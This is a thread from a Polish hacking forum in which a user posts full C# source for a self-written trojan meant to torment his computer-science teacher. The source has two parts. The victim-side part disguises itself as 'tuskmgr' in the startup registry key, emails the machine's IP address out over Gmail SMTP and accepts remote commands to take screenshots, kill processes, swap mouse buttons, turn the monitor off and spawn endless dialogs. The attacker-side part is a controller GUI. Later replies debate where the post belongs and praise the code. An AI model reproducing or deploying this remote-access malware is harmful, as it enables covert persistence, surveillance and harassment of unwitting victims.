Strona 1 z 2 12 OstatniOstatni
Pokaż wyniki 1 do 10 z 19

Temat: Mój annoying trojan

  1. #1
    Zarejestrowany
    Mar 2010
    Postów
    55

    Domyślnie Mój annoying trojan

    Tak sobie tworze trojana już od dłuższego czasu i stwierdziłem, że może warto się nim podzielić z wami. Pisałem go w .NET C#.
    Oto Form1:
    Kod:
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Net;
    using System.Net.Sockets;
    using System.Runtime.InteropServices;
    using System.Diagnostics;
    using System.Threading;
    using Microsoft.Win32;
    using System.Drawing.Imaging;
    using System.Net.Mail;
    
    namespace TCP_IP_Dzialacz
    {    
        public partial class Form1 : Form
        {
            [DllImport("user32.dll")]
            private static extern int SendMessage(int hWnd, int hMsg, int wParam, int lParam);
            [DllImport("user32.dll")]
            public static extern Int32 SwapMouseButton(Int32 bSwap); 
    
            const int WM_SYSCOMMAND   = 0x0112;
            const int SC_MONITORPOWER = 0xF170;
            const int HWND_BROADCAST  = 0xFFFF;
            public static NetworkStream Writer;
            [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
            protected static extern int mciSendString(string lpstrCommand,
            StringBuilder lpstrReturnString,
            int uReturnLength,
            IntPtr hwndCallback);
    
            RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
    
            public Form1()
            {
                string strHostName = Dns.GetHostName();
                IPHostEntry ipEntry = Dns.GetHostByName(strHostName);
                IPAddress[] addr = ipEntry.AddressList;
    
                //IPAddress[] localIPs = Dns.GetHostAddresses(Dns.GetHostName());   
    
                InitializeComponent();
    
                //Execute at StartUp 
                rkApp.SetValue("tuskmgr", Application.ExecutablePath.ToString());
                //Execute at StartUp 
    
                for (int i = 0; i < addr.Length; i++)
                {
                    IPAddress localAddr = IPAddress.Parse(addr[i].ToString());
                    TcpListener server = new TcpListener(localAddr, 80);
                    server.Start();
    
                    System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
                    msg.To.Add("[email protected]");
                    msg.From = new MailAddress("[email protected]", "tytuł", System.Text.Encoding.UTF8);
                    msg.Subject = "IP Delivery";
                    msg.SubjectEncoding = System.Text.Encoding.UTF8;
                    msg.Body = localAddr.ToString();
                    msg.BodyEncoding = System.Text.Encoding.UTF8;
                    msg.IsBodyHtml = false;
                    msg.Priority = MailPriority.High;
    
                    SmtpClient smtp_client = new SmtpClient(); //Network Credentials for Gmail
                    smtp_client.Credentials = new System.Net.NetworkCredential("[email protected]", "haslo");
                    smtp_client.Port = 587;
                    smtp_client.Host = "smtp.gmail.com";
                    smtp_client.EnableSsl = true;
    
                    smtp_client.Send(msg);
    
                    TcpClient client = server.AcceptTcpClient();
                    NetworkStream stream = client.GetStream();
    
                    
    
                    while (true)
                    {
                        bool quit = false;
                        while (!quit)
                        {
                            Byte[] bytes = new Byte[100];
                            int cnt = stream.Read(bytes, 0, bytes.Length);
                            String cmd = Encoding.ASCII.GetString(bytes, 0, cnt);
                            int prcs;
    
                            switch (cmd)
                            {
                                case "screen":
                                    int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
                                    int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
                                    Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
                                    Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
                                    gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
                                    bmpScreenShot.Save("e:\test.jpg", ImageFormat.Jpeg);
                                    break;
                                case "opentray":
                                    mciSendString("set CDAudio door open", null, 0, IntPtr.Zero);
                                    break;
                                case "closetray":
                                    mciSendString("set CDAudio door closed", null, 0, IntPtr.Zero);
                                    break;
                                case "quit":
                                    quit = true;
                                    break;
                                case "kill":
                                    Byte[] bytes_kill = new Byte[100];
                                    prcs = stream.Read(bytes_kill, 0, bytes_kill.Length);
                                    String process = Encoding.ASCII.GetString(bytes_kill, 0, prcs);
                                    Process[] ProcList;
                                    string arrProc = process;
                                    ProcList = Process.GetProcessesByName(arrProc);
                                    ProcList[0].Kill();
                                    break;
                                case "swap":
                                    SwapMouseButton(1); 
                                    break;
                                case "unswap":
                                    SwapMouseButton(0);
                                    break;
                                case "m_off":
                                    SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
                                    Thread.Sleep(20000);
                                    break;
                                case "m_on":
                                    SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
                                    break;
                                case "block":
                                    RegistryKey rk = Registry.CurrentUser.OpenSubKey("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System DisableTaskMgr", true);
                                    break;
                                case "pytanie":
                                    while (true)
                                    {
                                        DialogResult result = MessageBox.Show("Chcesz lizaka?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                                        if (result == DialogResult.Yes)
                                        {
                                            DialogResult result2 = MessageBox.Show("Czy chcesz?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                                            if (result2 == DialogResult.No)
                                            {
                                                MessageBox.Show("Może jednak?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                                            }
                                            else if (result2 == DialogResult.Yes)
                                            {
                                                continue;
                                            }
                                        }
                                        else if (result == DialogResult.No)
                                        {
                                            continue;
                                        }
                                    }
                                    break;
                            }
                            stream.Flush();
                        }
                        client.Close();
    
                    }
                }
            }
    
    
    
        }
    }
    Jak łatwo zauważyć, jego funkcje są głównie po to by zirytować ludzi (tworzone z myślą o moim tępym nauczycielu informatyki).
    Jest pare funkcji niedziałających (block - miał wyłączać możliwość włączenia menadżera zadań) lub niedopracowanych (screen - miało również wysyłać ten obrazek przez mail)

    Program.cs standartowy:
    Kod:
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Windows.Forms;
    
    namespace TCP_IP_Dzialacz
    {
        static class Program
        {
            /// <summary>
            /// The main entry point for the application.
            /// </summary>
            [STAThread]
            static void Main()
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new Form1());
            }
        }
    }

  2. #2
    Zarejestrowany
    Mar 2010
    Postów
    55

    Domyślnie

    To była część uruchamiana na komputerze ofiary, teraz część dla nas.
    Form1:
    Kod:
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Runtime.InteropServices;
    using System.Net;
    using System.Net.Sockets;
    using System.IO;
    using System.Threading;
    
    
    namespace ControlClox
    {
        public partial class Form1 : Form
        {
            static StreamReader streader = null;
    
            static StreamWriter write = null;
    
            static TcpClient serwer = null;
    
            static Byte[] bufor = null;
    
            static NetworkStream netstream = null;
            public static bool IsConnected;
            public static NetworkStream Writer;
            TcpClient Connector = new TcpClient();
            [DllImport("winmm.dll")]
            static extern Int32 mciSendString(String command, StringBuilder buffer, Int32 bufferSize, IntPtr hwndCallback);
            public Form1()
            {
                InitializeComponent();
            }
                        
            private void button1_Click1(object sender, EventArgs e)
            {   
                SendCommand("screen");
            }
            
            private void button4_Click(object sender, EventArgs e)
            {
                SendCommand("kill");
            }
            private void button2_Click(object sender, EventArgs e)
            {
                SendCommand("opentray");
            }
            private void button3_Click(object sender, EventArgs e)
            {
                SendCommand("closetray");
            }
    
            private void button6_Click(object sender, EventArgs e)
            {
                this.Close();
            }
            private void button5_Click(object sender, EventArgs e)
            {
                string IP = textBox1.Text;
                try
                {
                    Connector.Connect(IP, 80);
                    IsConnected = true;
                    Writer = Connector.GetStream();
                    label3.Text = "Online";
                    label3.ForeColor = System.Drawing.Color.Green;
                    MessageBox.Show("Connection to IP: " + IP + " complete");
                    button1.Enabled = true;
                    button2.Enabled = true;
                    button3.Enabled = true;
                    button4.Enabled = true;
                    button7.Enabled = true;
                    button9.Enabled = true;
                    button8.Enabled = true;
                    button10.Enabled = true;
                    button11.Enabled = true;
                    button12.Enabled = true;
                    button14.Enabled = true;
                    textBox2.Enabled = true;
                }
                catch
                {
                    MessageBox.Show("Connection to IP: " + IP + " failed");
                    label3.Text = "Offline";
                    label3.ForeColor = System.Drawing.Color.Red;
                }
            }
            public static void SendCommand(string Command)
            {
                //Try to send
                    try
                    {
                        //Creates a packet to hold the command
    
                        byte[] Packet = Encoding.ASCII.GetBytes(Command);
    
                        //Send the command over the network
    
                        Writer.Write(Packet, 0, Packet.Length);
    
                        //Flush out any extra data  that didn't send in the start.
    
                        Writer.Flush();
    
                    }
    
                    catch
                    {
    
                        //Couldn't send, so we aren't connected anymore!
    
                        IsConnected = false;
                        MessageBox.Show("Disconnected from server!");
    
    
                        //Close the connection.
    
                        Writer.Close();
    
                    }
    
            }
    
            private void button7_Click(object sender, EventArgs e)
            {
                string process = textBox2.Text;
                SendCommand(process);
            }
    
            private void button9_Click(object sender, EventArgs e)
            {
                SendCommand("pytanie");
            }
    
            private void button8_Click(object sender, EventArgs e)
            {
                SendCommand("swap");
            }
    
            private void button10_Click(object sender, EventArgs e)
            {
                SendCommand("unswap");
            }
    
            private void button11_Click(object sender, EventArgs e)
            {
                SendCommand("m_off");
            }
    
            private void button12_Click(object sender, EventArgs e)
            {
                SendCommand("m_on");
            }
    
            private void button13_Click(object sender, EventArgs e)
            {
                try
                {
                    int lData = netstream.Read(bufor, 0, serwer.Client.ReceiveBufferSize);
    
                    String myString = Encoding.ASCII.GetString(bufor);
    
                    myString = myString.Substring(0, lData);
    
                    listBox1.Items.Add(myString);
                }
                catch
                {
                    MessageBox.Show("Wystąpił błąd");
                }
            }
    
            private void button14_Click(object sender, EventArgs e)
            {
                SendCommand("block");
            }
    
        }
        
    }
    Program.cs:
    Kod:
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Windows.Forms;
    
    namespace ControlClox
    {
        static class Program
        {
            /// <summary>
            /// The main entry point for the application.
            /// </summary>
            [STAThread]
            static void Main()
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new Form1());
            }
    
            
        }
    }

  3. #3
    Zarejestrowany
    Mar 2010
    Postów
    55

    Domyślnie

    Form1.designer.cs jest zbyt długi nawet na 1 post więc nie wrzucam. Mogę podesłać jeśli ktoś zainteresowany jest, a wygląda mniej wiecej tak:


    To już chyba wszystko

    Komentujcie, piszcie porady na przyszłość i co tam jeszcze chcecie

    Nie biorę odpowiedzialności za ewentualne szkody spowodowane używaniem kodu. Jest on jedynie materiałem szkoleniowym.
    Uwaga! Wyrażam zgodę na modyfikacje. Kod otwarty.
    Ostatnio edytowane przez Pandemon : 04-15-2010 - 20:05

  4. #4
    Avatar GSG-9
    GSG-9 jest offline Shapeshifter
    Zarejestrowany
    Jul 2007
    Skąd
    C:\Perl\bin
    Postów
    1,578

    Domyślnie

    * Mój annoying trojan
    ja think ze ty did chose zly dzial. on the other hand, fajnie that podzieliles sie kodem with us
    War, war never changes.

  5. #5
    Zarejestrowany
    Mar 2010
    Postów
    55

    Domyślnie

    "Wszystko związane z tematyką wirusów i koni trojańskich."
    Taki jest podtytuł tego działu

    Skoro nie tu to gdzie w takim razie?
    Btw. coraz bardziej wydaje mi się, że to forum nie jest o hackingu. Jedyny "hacking" jaki tu się rozwija to wardriving, a i to słabo. Wystarczy, że ktoś poprosi o pomoc w złamaniu czegoś/kogoś zazwyczaj jego temat jest zamykany a gość odsyłany na google, albo *O Zgrozo* do diabła.
    Ludzie, chyba nie po to założyliście strone hack.pl z forum o hackingu, żeby tu pisać to takich rzeczach jak serwis TakeAGift.pl czy dobrzypolitycy.pl
    Zresztą, co ja się bede mieszał do pro-mastah hakerów. Nie podoba się - usuńcie temat, zbanujcie mnie i odeślijcie na jakieś libańskie, irańskie czy jakiekolwiek forum które uważacie, że się nadaje.

  6. #6
    Zarejestrowany
    May 2007
    Skąd
    Kraków
    Postów
    371

    Domyślnie

    ma rację... od czegoś w końcu to forum jest... z której strony by nie patrzeć...

    dzięki za kod, może kiedyś pożyczę kilka pomysłów od niego do swojego MassTrojana

  7. #7
    Avatar GSG-9
    GSG-9 jest offline Shapeshifter
    Zarejestrowany
    Jul 2007
    Skąd
    C:\Perl\bin
    Postów
    1,578

    Domyślnie

    Cytat Napisał Pandemon Zobacz post
    Btw. coraz bardziej wydaje mi się, że to forum nie jest o hackingu. Jedyny "hacking" jaki tu się rozwija to wardriving, a i to słabo. Wystarczy, że ktoś poprosi o pomoc w złamaniu czegoś/kogoś zazwyczaj jego temat jest zamykany a gość odsyłany na google, albo *O Zgrozo* do diabła.
    Ludzie, chyba nie po to założyliście strone hack.pl z forum o hackingu, żeby tu pisać to takich rzeczach jak serwis TakeAGift.pl czy dobrzypolitycy.pl
    Zresztą, co ja się bede mieszał do pro-mastah hakerów. Nie podoba się - usuńcie temat, zbanujcie mnie i odeślijcie na jakieś libańskie, irańskie czy jakiekolwiek forum które uważacie, że się nadaje.
    pozwol ze ci wytlumacze, od postaw.
    forum tworza userzy - jestes jednym z nich.
    rzadasz prawdziwego hackingu (ktorego oczywiscie w polsce nie ma) samemu nie dajac nic w zamian.
    (chyba nie powiesz, ze wlasnie to zrobiles, dajac jakis kod trojana? gdzie tu hacking?)
    zyjemy w czasach, gdy odpowiedz na wszystko znajdziesz uzywajac google. nie pytaj mnie po co jest to forum - forum jest jak kazde inne, zeby trole mogly sobie potrolic, a madrzy ludzie zmagac sie z trudnymi problemami.
    War, war never changes.

  8. #8
    Zarejestrowany
    Mar 2010
    Postów
    55

    Domyślnie

    Nie rządam "prawdziwego hackingu". Chcę jedynie zrozumieć po co jest to forum i dlaczego kwestionujesz to, że właśnie tu a nie gdzie indziej wrzuciłem kod do trojana. Mimo wszystko, jest kilka innych for, w których "mądrzy ludzie" (tacy jak Ty? ) nie wyszukują problemów na siłe i nie odsyłają ludzi do diabła, google, albo opcji szukaj. Myślałem, że na takie trafiłem... jednak widocznie się pomyliłem.

  9. #9
    Avatar GSG-9
    GSG-9 jest offline Shapeshifter
    Zarejestrowany
    Jul 2007
    Skąd
    C:\Perl\bin
    Postów
    1,578

    Domyślnie

    bo to dzial obrony przed takimi:
    wrzuciles tu:
    * Bezpieczeństwo IT -> * Wirusy/Konie trojańskie
    a powinno byc tu:
    btw, bardzo wiele osob "myli" sie przychodzac tutaj, nie jestes pierwszym.
    War, war never changes.

  10. #10
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Ja ujme to w ten sposob - dzial jak dla mnie moze byc, przykladowy kod no coz, wolalbym aby takiego kodu nie dawac public bo sobie jeden idiota z drugim krzywde zrobi jak zacznie modyfikowac nie wiedzac co jest co... ale to tylko moje osobiste zdanie. Miales swoj cel, napisales kod, podzieliles sie nim - informacja chce byc wolna - jest ok.

    Co do tego do czego jest forum - moze wyjasnie co mnie tutaj trzyma i wtedy bedzie to nieco bardziej zrozumiale?
    Forum jest po to aby dyskutowac o ciekawych projektach, pomyslach, problemach i ich rozwiazaniach. Forum nie jest do tego aby szkolic armie troli, ktore nic nie rozumieja ale chca nazywac sie hackerami a najwaznejsze dla nich jak hackowac konta przeciwnikow w grach, podsluchiwac gg, wbic sie komus na skrzynke czy tez NK.
    Powiem wprost - czasami celowo nie odpowiadam na niektore posty wlasnie po to aby nawet przypadkiem nie nauczyc takich troli czegos co mogliby wykorzystac, nie dawac im pomyslow co dalej moga zepsuc albo jak komus zaszkodzic. Na pewno slyszales stwierdzenie "with great power comes great responsibility"... taka moja cicha wojna z trolami

    Czas wybrac bramke...
    1. Smecimy dalej jak dupowate jest to forum i nic sie nie zmienia?
    2. Rozwijamy liste tematow za ktore modki beda sypac banami (o tak, ale bedzie spokoj!)
    3. Zaczynamy omawiac nasze projekty nad ktorymi pracujemy - w kreatywny sposob, dzielac sie pomyslami itd... Zabawki na stol!

    To jak bedzie?
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

Strona 1 z 2 12 OstatniOstatni

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj